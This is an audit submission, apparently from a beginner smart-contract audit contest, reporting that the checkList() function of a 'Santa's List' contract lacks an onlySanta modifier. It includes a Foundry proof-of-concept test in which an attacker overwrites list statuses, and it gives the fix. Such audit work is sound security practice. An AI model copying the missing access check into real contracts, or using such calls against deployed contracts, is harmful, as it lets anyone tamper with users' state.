First Flight #5: Santa's List
First Flight #5
Beginner FriendlyFoundry
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

No `OnlySanta` modifier results in Denial of Service (DOS)

0x0bserver

Summary

There is no OnlySanta modifier in the checkList function which results in Denial of Service(DOS).

Vulnerability Details

modifier onlySanta() {
if (msg.sender != i_santa) {
revert SantasList__NotSanta();
}
_;
}

The below provided function does not have the above OnlySanta modifier. Without OnlySanta modifier, anyone can call the below function. OnlySanta modifier only allows i_santa address to call the function.

function checkList(address person, Status status) external {
s_theListCheckedOnce[person] = status;
emit CheckedOnce(person, status);
}

Impact

Due to the missing OnlySanta modifier, anyone can enter the checkList function and change the s_theListCheckedOnce variable. This results in various unintentional outcomes -

  • Any malicious user, e.g. attacker, can call the function and change the variable to NICE or EXTRA_NICE.

  • attacker can change the value of any user's variable to anything it desires.

  • attacker can always revert the changes made by santa.

Hence, making the contract unusable for any user or santa.

contract SantasListTest is Test {
SantasList santasList;
SantaToken santaToken;
​
address user = makeAddr("user");
address attacker = makeAddr("attacker");
address santa = makeAddr("santa");
​
function setUp() public {
vm.startPrank(santa);
santasList = new SantasList();
santaToken = SantaToken(santasList.getSantaToken());
vm.stopPrank();
}
​
function test() public {
vm.prank(attacker);
santasList.checkList(attacker, SantasList.Status.EXTRA_NICE);
vm.prank(attacker);
santasList.checkList(user, SantasList.Status.NAUGHTY);
assertEq(
uint256(santasList.getNaughtyOrNiceOnce(attacker)),
uint256(SantasList.Status.EXTRA_NICE)
);
assertEq(
uint256(santasList.getNaughtyOrNiceOnce(user)),
uint256(SantasList.Status.NAUGHTY)
);
vm.prank(santa);
santasList.checkList(user, SantasList.Status.EXTRA_NICE);
if (
santasList.getNaughtyOrNiceOnce(user) ==
SantasList.Status.EXTRA_NICE
) {
santasList.checkList(user, SantasList.Status.NAUGHTY);
}
assertEq(
uint256(santasList.getNaughtyOrNiceOnce(user)),
uint256(SantasList.Status.NAUGHTY)
);
}
}

Tools Used

Manual Review

Recommendations

To mitigate the vulnerability, OnlySanta modifier should be added to the checkList function which will only allow the santa to call the function.

Here's how you can modify the function:

function checkList(address person, Status status) external onlySanta {
s_theListCheckedOnce[person] = status;
emit CheckedOnce(person, status);
}
Updates

Lead Judging Commences

inallhonesty Lead Judge almost 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

Access Control on checkList()

Anyone is able to call checkList() changing the status of a provided address. This is not intended functionality and is meant to be callable by only Santa.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.